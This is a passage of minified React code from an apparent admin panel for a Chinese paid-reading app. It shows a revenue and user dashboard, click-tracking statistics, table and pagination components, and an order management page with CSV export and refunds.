t=Ci(),[e,n]=b.useState(!0),[r,a]=b.useState(!0),[i,o]=b.useState(!0),[c,u]=b.useState([]),[h,f]=b.useState([]),[m,g]=b.useState(0),[y,N]=b.useState(0),[w,v]=b.useState(0),[k,C]=b.useState(0),[E,T]=b.useState(null),[I,O]=b.useState(null),[L,R]=b.useState(!1),[D,_]=b.useState(0),[Z,ne]=b.useState(!1),[fe,xe]=b.useState("week"),[$,H]=b.useState(null),[oe,P]=b.useState(!1),K=Y=>{const B=Y;if((B==null?void 0:B.status)===401)T("登录已过期,请重新登录");else{if((B==null?void 0:B.name)==="AbortError")return;T("加载失败,请检查网络或联系管理员")}};async function V(Y){const B=Y?{signal:Y}:void 0;n(!0),T(null);try{const ce=await De("/api/admin/dashboard/stats",B);ce!=null&&ce.success&&(g(ce.totalUsers??0),N(ce.paidOrderCount??0),v(ce.totalRevenue??0),C(ce.conversionRate??0))}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError"){console.error("stats 失败,尝试 overview 降级",ce);try{const ye=await De("/api/admin/dashboard/overview",B);ye!=null&&ye.success&&(g(ye.totalUsers??0),N(ye.paidOrderCount??0),v(ye.totalRevenue??0),C(ye.conversionRate??0))}catch(ye){K(ye)}}}finally{n(!1)}try{const ce=await De("/api/admin/balance/summary",B);ce!=null&&ce.success&&ce.data&&_(ce.data.totalGifted??0)}catch{}a(!0),o(!0);const re=async()=>{try{const ce=await De("/api/admin/dashboard/recent-orders?limit=10",B);if(ce!=null&&ce.success&&ce.recentOrders)f(ce.recentOrders);else throw new Error("no data")}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError")try{const ye=await De("/api/admin/orders?page=1&pageSize=20&status=paid",B),Le=((ye==null?void 0:ye.orders)??[]).filter(lt=>["paid","completed","success"].includes(lt.status||""));f(Le.slice(0,5))}catch{f([])}}finally{a(!1)}},ue=async()=>{try{const ce=await De("/api/admin/dashboard/new-users",B);if(ce!=null&&ce.success&&ce.newUsers)u(ce.newUsers);else throw new Error("no data")}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError")try{const ye=await De("/api/db/users?page=1&pageSize=10",B);u((ye==null?void 0:ye.users)??[])}catch{u([])}}finally{o(!1)}};await Promise.all([re(),ue()])}async function z(Y){const B=Y||fe;P(!0);try{const re=await De(`/api/admin/track/stats?period=${B}`);re!=null&&re.success&&H({total:re.total??0,byModule:re.byModule??{}})}catch{H(null)}finally{P(!1)}}b.useEffect(()=>{const Y=new AbortController;V(Y.signal),z();const B=setInterval(()=>{V(),z()},3e4);return()=>{Y.abort(),clearInterval(B)}},[]);const U=m,le=Y=>{const B=Y.productType||"",re=Y.description||"";if(B==="balance_recharge")return{title:`余额充值 ¥${typeof Y.amount=="number"?Y.amount.toFixed(2):parseFloat(String(Y.amount||"0")).toFixed(2)}`,subtitle:"余额充值"};if(B==="gift_pay")return{title:`代付 ¥${typeof Y.amount=="number"?Y.amount.toFixed(2):parseFloat(String(Y.amount||"0")).toFixed(2)}`,subtitle:"好友代付"};if(re){if(B==="section"&&re.includes("章节")){if(re.includes("-")){const ue=re.split("-");if(ue.length>=3)return{title:`第${ue[1]}章 第${ue[2]}节`,subtitle:"《一场Soul的创业实验》"}}return{title:re,subtitle:"章节购买"}}return B==="fullbook"||re.includes("全书")?{title:"《一场Soul的创业实验》",subtitle:"全书购买"}:B==="vip"||re.includes("VIP")?{title:"超级个体开通费用",subtitle:"超级个体"}:B==="match"||re.includes("伙伴")?{title:"找伙伴匹配",subtitle:"功能服务"}:{title:re,subtitle:B==="section"?"单章":B==="fullbook"?"全书":"其他"}}return B==="section"?{title:`章节 ${Y.productId||""}`,subtitle:"单章购买"}:B==="fullbook"?{title:"《一场Soul的创业实验》",subtitle:"全书购买"}:B==="vip"?{title:"超级个体开通费用",subtitle:"超级个体"}:B==="match"?{title:"找伙伴匹配",subtitle:"功能服务"}:{title:"未知商品",subtitle:B||"其他"}},J=[{title:"总用户数",value:e?null:U,sub:null,icon:Zn,color:"text-blue-400",bg:"bg-blue-500/20",link:"/users"},{title:"总收入",value:e?null:`¥${(w??0).toFixed(2)}`,sub:D>0?`含代付 ¥${D.toFixed(2)}`:null,icon:$c,color:"text-[#38bdac]",bg:"bg-[#38bdac]/20",link:"/orders"},{title:"订单数",value:e?null:y,sub:null,icon:Og,color:"text-purple-400",bg:"bg-purple-500/20",link:"/orders"},{title:"转化率",value:e?null:`${typeof k=="number"?k.toFixed(1):0}%`,sub:null,icon:Br,color:"text-orange-400",bg:"bg-orange-500/20",link:"/distribution"}];return s.jsxs("div",{className:"p-8 w-full",children:[s.jsx("h1",{className:"text-2xl font-bold mb-8 text-white",children:"数据概览"}),E&&s.jsxs("div",{className:"mb-6 px-4 py-3 rounded-lg bg-amber-500/20 border border-amber-500/50 text-amber-200 text-sm flex items-center justify-between",children:[s.jsx("span",{children:E}),s.jsx("button",{type:"button",onClick:()=>V(),className:"text-amber-400 hover:text-amber-300 underline",children:"重试"})]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-6 mb-8",children:J.map((Y,B)=>s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl cursor-pointer hover:border-[#38bdac]/50 transition-colors group",onClick:()=>Y.link&&t(Y.link),children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsx(Qe,{className:"text-sm font-medium text-gray-400",children:Y.title}),s.jsx("div",{className:`p-2 rounded-lg ${Y.bg}`,children:s.jsx(Y.icon,{className:`w-4 h-4 ${Y.color}`})})]}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("div",{className:"text-2xl font-bold text-white min-h-8 flex items-center",children:Y.value!=null?Y.value:s.jsxs("span",{className:"inline-flex items-center gap-2 text-gray-500",children:[s.jsx(Ke,{className:"w-4 h-4 animate-spin"}),"加载中"]})}),Y.sub&&s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:Y.sub})]}),s.jsx(pl,{className:"w-5 h-5 text-gray-600 group-hover:text-[#38bdac] transition-colors"})]})})]},B))}),s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-2 gap-8",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsx(Qe,{className:"text-white",children:"最近订单"}),s.jsxs("button",{type:"button",onClick:()=>V(),disabled:r||i,className:"text-xs text-gray-400 hover:text-[#38bdac] flex items-center gap-1 disabled:opacity-50",title:"刷新",children:[r||i?s.jsx(Ke,{className:"w-3.5 h-3.5 animate-spin"}):s.jsx(Ke,{className:"w-3.5 h-3.5"}),"刷新(每 30 秒自动更新)"]})]}),s.jsx(Ee,{children:s.jsx("div",{className:"space-y-3",children:r&&h.length===0?s.jsxs("div",{className:"flex flex-col items-center justify-center py-12 text-gray-500",children:[s.jsx(Ke,{className:"w-8 h-8 animate-spin mb-2"}),s.jsx("span",{className:"text-sm",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[h.slice(0,Z?10:4).map(Y=>{var ye;const B=Y.referrerId?c.find(Re=>Re.id===Y.referrerId):void 0,re=Y.referralCode||(B==null?void 0:B.referralCode)||(B==null?void 0:B.nickname)||(Y.referrerId?String(Y.referrerId).slice(0,8):""),ue=le(Y),ce=Y.userNickname||((ye=c.find(Re=>Re.id===Y.userId))==null?void 0:ye.nickname)||"匿名用户";return s.jsxs("div",{className:"flex items-start justify-between p-4 bg-[#0a1628] rounded-lg border border-gray-700/30 hover:border-[#38bdac]/30 transition-colors",children:[s.jsxs("div",{className:"flex items-start gap-3 flex-1",children:[Y.userAvatar?s.jsx("img",{src:Y.userAvatar,alt:ce,className:"w-9 h-9 rounded-full object-cover flex-shrink-0 mt-0.5",onError:Re=>{Re.currentTarget.style.display="none";const Le=Re.currentTarget.nextElementSibling;Le&&Le.classList.remove("hidden")}}):null,s.jsx("div",{className:`w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 mt-0.5 ${Y.userAvatar?"hidden":""}`,children:ce.charAt(0)}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-1",children:[s.jsx("button",{type:"button",onClick:()=>{Y.userId&&(O(Y.userId),R(!0))},className:"text-sm text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:ce}),s.jsx("span",{className:"text-gray-600",children:"·"}),s.jsx("span",{className:"text-sm font-medium text-white truncate",children:ue.title})]}),s.jsxs("div",{className:"flex items-center gap-2 text-xs text-gray-500",children:[ue.subtitle&&ue.subtitle!=="章节购买"&&s.jsx("span",{className:"px-1.5 py-0.5 bg-gray-700/50 rounded",children:ue.subtitle}),s.jsx("span",{children:new Date(Y.createdAt||0).toLocaleString("zh-CN",{month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"})})]}),re&&s.jsxs("p",{className:"text-xs text-gray-600 mt-1",children:["推荐: ",re]})]})]}),s.jsxs("div",{className:"text-right ml-4 flex-shrink-0",children:[s.jsxs("p",{className:"text-sm font-bold text-[#38bdac]",children:["+¥",Number(Y.amount).toFixed(2)]}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:Y.paymentMethod||"微信"})]})]},Y.id)}),h.length>4&&!Z&&s.jsx("button",{type:"button",onClick:()=>ne(!0),className:"w-full py-2 text-sm text-[#38bdac] hover:text-[#2da396] border border-dashed border-gray-600 rounded-lg hover:border-[#38bdac]/50 transition-colors",children:"展开更多"}),h.length===0&&!r&&s.jsxs("div",{className:"text-center py-12",children:[s.jsx(Og,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无订单数据"})]})]})})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsx(Ye,{children:s.jsx(Qe,{className:"text-white",children:"新注册用户"})}),s.jsx(Ee,{children:s.jsx("div",{className:"space-y-3",children:i&&c.length===0?s.jsxs("div",{className:"flex flex-col items-center justify-center py-12 text-gray-500",children:[s.jsx(Ke,{className:"w-8 h-8 animate-spin mb-2"}),s.jsx("span",{className:"text-sm",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[c.slice(0,5).map(Y=>{var B;return s.jsxs("div",{className:"flex items-center justify-between p-4 bg-[#0a1628] rounded-lg border border-gray-700/30",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-10 h-10 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac]",children:((B=Y.nickname)==null?void 0:B.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsx("button",{type:"button",onClick:()=>{O(Y.id),R(!0)},className:"text-sm font-medium text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:Y.nickname||"匿名用户"}),s.jsx("p",{className:"text-xs text-gray-500",children:Y.phone||"-"})]})]}),s.jsx("p",{className:"text-xs text-gray-400",children:Y.createdAt?new Date(Y.createdAt).toLocaleDateString():"-"})]},Y.id)}),c.length===0&&!i&&s.jsx("p",{className:"text-gray-500 text-center py-8",children:"暂无用户数据"})]})})})]})]}),s.jsxs(Ce,{className:"mt-8 bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Tg,{className:"w-5 h-5 text-[#38bdac]"}),"分类标签点击统计"]}),s.jsx("div",{className:"flex items-center gap-2",children:["today","week","month","all"].map(Y=>s.jsx("button",{type:"button",onClick:()=>{xe(Y),z(Y)},className:`px-3 py-1 text-xs rounded-full transition-colors ${fe===Y?"bg-[#38bdac] text-white":"bg-gray-700/50 text-gray-400 hover:bg-gray-700"}`,children:{today:"今日",week:"本周",month:"本月",all:"全部"}[Y]},Y))})]}),s.jsx(Ee,{children:oe&&!$?s.jsxs("div",{className:"flex items-center justify-center py-12 text-gray-500",children:[s.jsx(Ke,{className:"w-6 h-6 animate-spin mr-2"}),s.jsx("span",{children:"加载中..."})]}):$&&Object.keys($.byModule).length>0?s.jsxs("div",{className:"space-y-6",children:[s.jsxs("p",{className:"text-sm text-gray-400",children:["总点击 ",s.jsx("span",{className:"text-white font-bold text-lg",children:$.total})," 次"]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4",children:Object.entries($.byModule).sort((Y,B)=>B[1].reduce((re,ue)=>re+ue.count,0)-Y[1].reduce((re,ue)=>re+ue.count,0)).map(([Y,B])=>{const re=B.reduce((ce,ye)=>ce+ye.count,0),ue={home:"首页",chapters:"目录",read:"阅读",my:"我的",vip:"VIP",wallet:"钱包",match:"找伙伴",referral:"推广",search:"搜索",settings:"设置",about:"关于",other:"其他"};return s.jsxs("div",{className:"bg-[#0a1628] rounded-lg border border-gray-700/30 p-4",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsx("span",{className:"text-sm font-medium text-[#38bdac]",children:ue[Y]||Y}),s.jsxs("span",{className:"text-xs text-gray-500",children:[re," 次"]})]}),s.jsx("div",{className:"space-y-2",children:B.sort((ce,ye)=>ye.count-ce.count).slice(0,8).map((ce,ye)=>{const Re={开始匹配:"开始匹配",mentor:"导师顾问",team:"团队招募",investor:"资源对接",充值:"充值",退款:"退款",wallet:"钱包",设置:"设置",VIP:"VIP会员",推广:"推广中心",目录:"目录",搜索:"搜索",匹配:"找伙伴",settings:"设置",expired:"已过期",active:"活跃",converted:"已转化",fill_profile:"完善资料",register:"注册",purchase:"购买",btn_click:"按钮点击",nav_click:"导航点击",card_click:"卡片点击",tab_click:"标签切换",rule_trigger:"规则触发",view_chapter:"浏览章节",链接卡若:"链接卡若",更多分享:"更多分享",分享朋友圈文案:"分享朋友圈",选择金额10:"选择金额10元"},Le={btn_click:"按钮点击",nav_click:"导航点击",card_click:"卡片点击",tab_click:"标签切换",purchase:"购买",register:"注册",rule_trigger:"规则触发",view_chapter:"浏览章节"},lt=Re[ce.target]||ce.target||Le[ce.action]||ce.action;return s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-gray-300 truncate mr-2",title:`${ce.action}: ${ce.target}`,children:lt}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsx("div",{className:"w-16 h-1.5 bg-gray-700 rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac] rounded-full",style:{width:`${re>0?ce.count/re*100:0}%`}})}),s.jsx("span",{className:"text-gray-400 w-8 text-right",children:ce.count})]})]},ye)})})]},Y)})})]}):s.jsxs("div",{className:"text-center py-12",children:[s.jsx(Tg,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无点击数据"}),s.jsx("p",{className:"text-gray-600 text-xs mt-1",children:"小程序端接入埋点后,数据将在此实时展示"})]})})]}),s.jsx(n0,{open:L,onClose:()=>{R(!1),O(null)},userId:I,onUserUpdated:()=>V()})]})}const lr=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{className:"relative w-full overflow-auto",children:s.jsx("table",{ref:n,className:Et("w-full caption-bottom text-sm",t),...e})}));lr.displayName="Table";const cr=b.forwardRef(({className:t,...e},n)=>s.jsx("thead",{ref:n,className:Et("[&_tr]:border-b",t),...e}));cr.displayName="TableHeader";const dr=b.forwardRef(({className:t,...e},n)=>s.jsx("tbody",{ref:n,className:Et("[&_tr:last-child]:border-0",t),...e}));dr.displayName="TableBody";const it=b.forwardRef(({className:t,...e},n)=>s.jsx("tr",{ref:n,className:Et("border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted",t),...e}));it.displayName="TableRow";const ke=b.forwardRef(({className:t,...e},n)=>s.jsx("th",{ref:n,className:Et("h-12 px-4 text-left align-middle font-medium text-muted-foreground [&:has([role=checkbox])]:pr-0",t),...e}));ke.displayName="TableHead";const ve=b.forwardRef(({className:t,...e},n)=>s.jsx("td",{ref:n,className:Et("p-4 align-middle [&:has([role=checkbox])]:pr-0",t),...e}));ve.displayName="TableCell";function r0(t,e){const[n,r]=b.useState(t);return b.useEffect(()=>{const a=setTimeout(()=>r(t),e);return()=>clearTimeout(a)},[t,e]),n}function is({page:t,totalPages:e,total:n,pageSize:r,onPageChange:a,onPageSizeChange:i,pageSizeOptions:o=[10,20,50,100]}){return e<=1&&!i?null:s.jsxs("div",{className:"flex items-center justify-between gap-4 py-4 px-5 border-t border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-2 text-sm text-gray-400",children:[s.jsxs("span",{children:["共 ",n," 条"]}),i&&s.jsx("select",{value:r,onChange:c=>i(Number(c.target.value)),className:"bg-[#0f2137] border border-gray-600 rounded px-2 py-1 text-gray-300 text-sm",children:o.map(c=>s.jsxs("option",{value:c,children:[c," 条/页"]},c))})]}),e>1&&s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{type:"button",onClick:()=>a(1),disabled:t<=1,className:"px-2 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"首页"}),s.jsx("button",{type:"button",onClick:()=>a(t-1),disabled:t<=1,className:"px-3 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"上一页"}),s.jsxs("span",{className:"px-3 py-1 text-gray-400 text-sm",children:[t," / ",e]}),s.jsx("button",{type:"button",onClick:()=>a(t+1),disabled:t>=e,className:"px-3 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"下一页"}),s.jsx("button",{type:"button",onClick:()=>a(e),disabled:t>=e,className:"px-2 py-1 rounded border border-gray-600 text-gray-400 hover:bg-gray-700/50 disabled:opacity-40 text-sm",children:"末页"})]})]})}function fP(){const[t,e]=b.useState([]),[n,r]=b.useState([]),[a,i]=b.useState(0),[o,c]=b.useState(0),[u,h]=b.useState(0),[f,m]=b.useState(1),[g,y]=b.useState(10),[N,w]=b.useState(""),v=r0(N,300),[k,C]=b.useState("all"),[E,T]=b.useState(!0),[I,O]=b.useState(null),[L,R]=b.useState(null),[D,_]=b.useState(""),[Z,ne]=b.useState(!1);async function fe(){T(!0),O(null);try{const V=k==="all"?"":k==="completed"?"completed":k,z=new URLSearchParams({page:String(f),pageSize:String(g),...V&&{status:V},...v&&{search:v}}),[U,le]=await Promise.all([De(`/api/admin/orders?${z}`),De("/api/db/users?page=1&pageSize=500")]);U!=null&&U.success&&(e(U.orders||[]),i(U.total??0),c(U.totalRevenue??0),h(U.todayRevenue??0)),le!=null&&le.success&&le.users&&r(le.users)}catch(V){console.error("加载订单失败",V),O("加载订单失败,请检查网络后重试")}finally{T(!1)}}b.useEffect(()=>{m(1)},[v,k]),b.useEffect(()=>{fe()},[f,g,v,k]);const xe=V=>{var z;return V.userNickname||((z=n.find(U=>U.id===V.userId))==null?void 0:z.nickname)||"匿名用户"},$=V=>{var z;return((z=n.find(U=>U.id===V))==null?void 0:z.phone)||"-"},H=V=>{const z=V.productType||V.type||"",U=V.description||"";if(z==="balance_recharge")return{name:`余额充值 ¥${Number(V.amount||0).toFixed(2)}`,type:"余额充值"};if(U){if(z==="section"&&U.includes("章节")){if(U.includes("-")){const le=U.split("-");if(le.length>=3)return{name:`第${le[1]}章 第${le[2]}节`,type:"《一场Soul的创业实验》"}}return{name:U,type:"章节购买"}}return z==="fullbook"||U.includes("全书")?{name:"《一场Soul的创业实验》",type:"全书购买"}:z==="vip"||U.includes("VIP")?{name:"超级个体开通费用",type:"超级个体"}:z==="match"||U.includes("伙伴")?{name:"找伙伴匹配",type:"功能服务"}:{name:U,type:"其他"}}return z==="section"?{name:`章节 ${V.productId||V.sectionId||""}`,type:"单章"}:z==="fullbook"?{name:"《一场Soul的创业实验》",type:"全书"}:z==="vip"?{name:"超级个体开通费用",type:"超级个体"}:z==="match"?{name:"找伙伴匹配",type:"功能"}:{name:"未知商品",type:z||"其他"}},oe=Math.ceil(a/g)||1;async function P(){var V;if(!(!(L!=null&&L.orderSn)&&!(L!=null&&L.id))){ne(!0),O(null);try{const z=await zt("/api/admin/orders/refund",{orderSn:L.orderSn||L.id,reason:D||void 0});z!=null&&z.success?(R(null),_(""),fe()):O((z==null?void 0:z.error)||"退款失败")}catch(z){const U=z;O(((V=U==null?void 0:U.data)==null?void 0:V.error)||"退款失败,请检查网络后重试")}finally{ne(!1)}}}function K(){if(t.length===0){ie.info("暂无数据可导出");return}const V=["订单号","用户","手机号","商品","金额","支付方式","状态","退款原因","分销佣金","下单时间"],z=t.map(B=>{const re=H(B);return[B.orderSn||B.id||"",xe(B),$(B.userId),re.name,Number(B.amount||0).toFixed(2),B.paymentMethod==="wechat"?"微信支付":B.paymentMethod==="balance"?"余额支付":B.paymentMethod==="alipay"?"支付宝":B.paymentMethod||"微信支付",B.status==="refunded"?"已退款":B.status==="paid"||B.status==="completed"?"已完成":B.status==="pending"||B.status==="created"?"待支付":"已失败",B.status==="refunded"&&B.refundReason?B.refundReason:"-",B.referrerEarnings?Number(B.referrerEarnings).toFixed(2):"-",B.createdAt?new Date(B.createdAt).toLocaleString("zh-CN"):""].join(",")}),U="\uFEFF"+[V.join(","),...z].join(` -`),le=new Blob([U],{type:"text/csv;charset=utf-8"}),J=URL.createObjectURL(le),Y=document.createElement("a");Y.href=J,Y.download=`订单列表_${new Date().toISOString().slice(0,10)}.csv`,Y.click(),URL.revokeObjectURL(J)}return s.jsxs("div",{className:"p-8 w-full",children:[I&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:I}),s.jsx("button",{type:"button",onClick:()=>O(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"订单管理"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["共 ",t.length," 笔订单"]})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs(te,{variant:"outline",onClick:fe,disabled:E,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${E?"animate-spin":""}`}),"刷新"]}),s.jsxs("div",{className:"flex items-center gap-2 text-sm",children:[s.jsx("span",{className:"text-gray-400",children:"总收入:"}),s.jsxs("span",{className:"text-[#38bdac] font-bold",children:["¥",o.toFixed(2)]}),s.jsx("span",{className:"text-gray-600",children:"|"}),s.jsx("span",{className:"text-gray-400",children:"今日:"}),s.jsxs("span",{className:"text-[#FFD700] font-bold",children:["¥",u.toFixed(2)]})]})]})]}),s.jsxs("div",{className:"flex items-center gap-4 mb-6",children:[s.jsxs("div",{className:"relative flex-1 max-w-md",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-500"}),s.jsx(se,{type:"text",placeholder:"搜索订单号/用户/章节...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500",value:N,onChange:V=>w(V.target.value)})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Qw,{className:"w-4 h-4 text-gray-400"}),s.jsxs("select",{value:k,onChange:V=>C(V.target.value),className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"all",children:"全部状态"}),s.jsx("option",{value:"completed",children:"已完成"}),s.jsx("option",{value:"pending",children:"待支付"}),s.jsx("option",{value:"created",children:"已创建"}),s.jsx("option",{value:"failed",children:"已失败"}),s.jsx("option",{value:"refunded",children:"已退款"})]})]}),s.jsxs(te,{variant:"outline",onClick:K,disabled:t.length===0,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(pM,{className:"w-4 h-4 mr-2"}),"导出 CSV"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:E?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs("div",{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"订单号"}),s.jsx(ke,{className:"text-gray-400",children:"用户"}),s.jsx(ke,{className:"text-gray-400",children:"商品"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"支付方式"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"退款原因"}),s.jsx(ke,{className:"text-gray-400",children:"分销佣金"}),s.jsx(ke,{className:"text-gray-400",children:"下单时间"}),s.jsx(ke,{className:"text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(V=>{const z=H(V);return s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsxs(ve,{className:"font-mono text-xs text-gray-400",children:[(V.orderSn||V.id||"").slice(0,12),"..."]}),s.jsx(ve,{children:s.jsxs("div",{children:[s.jsxs("p",{className:"text-white text-sm flex items-center gap-2",children:[xe(V),V.payerUserId&&s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0 text-xs",children:"代付"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:$(V.userId)}),V.payerUserId&&V.payerNickname&&s.jsxs("p",{className:"text-amber-400/80 text-xs mt-0.5",children:["代付人:",V.payerNickname]})]})}),s.jsx(ve,{children:s.jsxs("div",{children:[s.jsxs("p",{className:"text-white text-sm flex items-center gap-2",children:[z.name,(V.productType||V.type)==="vip"&&s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0 text-xs",children:"超级个体"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:z.type})]})}),s.jsxs(ve,{className:"text-[#38bdac] font-bold",children:["¥",Number(V.amount||0).toFixed(2)]}),s.jsx(ve,{className:"text-gray-300",children:V.paymentMethod==="wechat"?"微信支付":V.paymentMethod==="balance"?"余额支付":V.paymentMethod==="alipay"?"支付宝":V.paymentMethod||"微信支付"}),s.jsx(ve,{children:V.status==="refunded"?s.jsx(qe,{className:"bg-gray-500/20 text-gray-400 hover:bg-gray-500/20 border-0",children:"已退款"}):V.status==="paid"||V.status==="completed"?s.jsx(qe,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"已完成"}):V.status==="pending"||V.status==="created"?s.jsx(qe,{className:"bg-yellow-500/20 text-yellow-400 hover:bg-yellow-500/20 border-0",children:"待支付"}):s.jsx(qe,{className:"bg-red-500/20 text-red-400 hover:bg-red-500/20 border-0",children:"已失败"})}),s.jsx(ve,{className:"text-gray-400 text-sm max-w-[120px] truncate",title:V.refundReason,children:V.status==="refunded"&&V.refundReason?V.refundReason:"-"}),s.jsx(ve,{className:"text-[#FFD700]",children:V.referrerEarnings?`¥${Number(V.referrerEarnings).toFixed(2)}`:"-"}),s.jsx(ve,{className:"text-gray-400 text-sm",children:new Date(V.createdAt).toLocaleString("zh-CN")}),s.jsx(ve,{children:(V.status==="paid"||V.status==="completed")&&V.paymentMethod!=="balance"&&s.jsxs(te,{variant:"outline",size:"sm",className:"border-orange-500/50 text-orange-400 hover:bg-orange-500/20",onClick:()=>{R(V),_("")},children:[s.jsx(rj,{className:"w-3 h-3 mr-1"}),"退款"]})})]},V.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:10,className:"text-center py-12 text-gray-500",children:"暂无订单数据"})})]})]}),s.jsx(is,{page:f,totalPages:oe,total:a,pageSize:g,onPageChange:m,onPageSizeChange:V=>{y(V),m(1)}})]})})}),s.jsx(Dt,{open:!!L,onOpenChange:V=>!V&&R(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"订单退款"})}),L&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["订单号:",L.orderSn||L.id]}),s.jsxs("p",{className:"text-gray-400 text-sm",children:["退款金额:¥",Number(L.amount||0).toFixed(2)]}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"退款原因(选填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"如:用户申请退款",value:D,onChange:V=>_(V.target.value)})})]}),s.jsx("p",{className:"text-orange-400/80 text-xs",children:"退款将原路退回至用户微信,且无法撤销,请确认后再操作。"})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:()=>R(null),disabled:Z,children:"取消"}),s.jsx(te,{className:"bg-orange-500 hover:bg-orange-600 text-white",onClick:P,disabled:Z,children:Z?"退款中...":"确认退款"})]})]})})]})}const _l=b.forwardRef(({className:t,...e},n)=>s.jsx("textarea",{className:Et("flex min-h-[80px] w-full rounded-md border border-input bg-background px-3 py-2 text-sm placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50",t),ref:n,...e}));_l.displayName="Textarea";const Ou=[{id:"register",label:"注册/登录",icon:"👤",color:"bg-blue-500/20 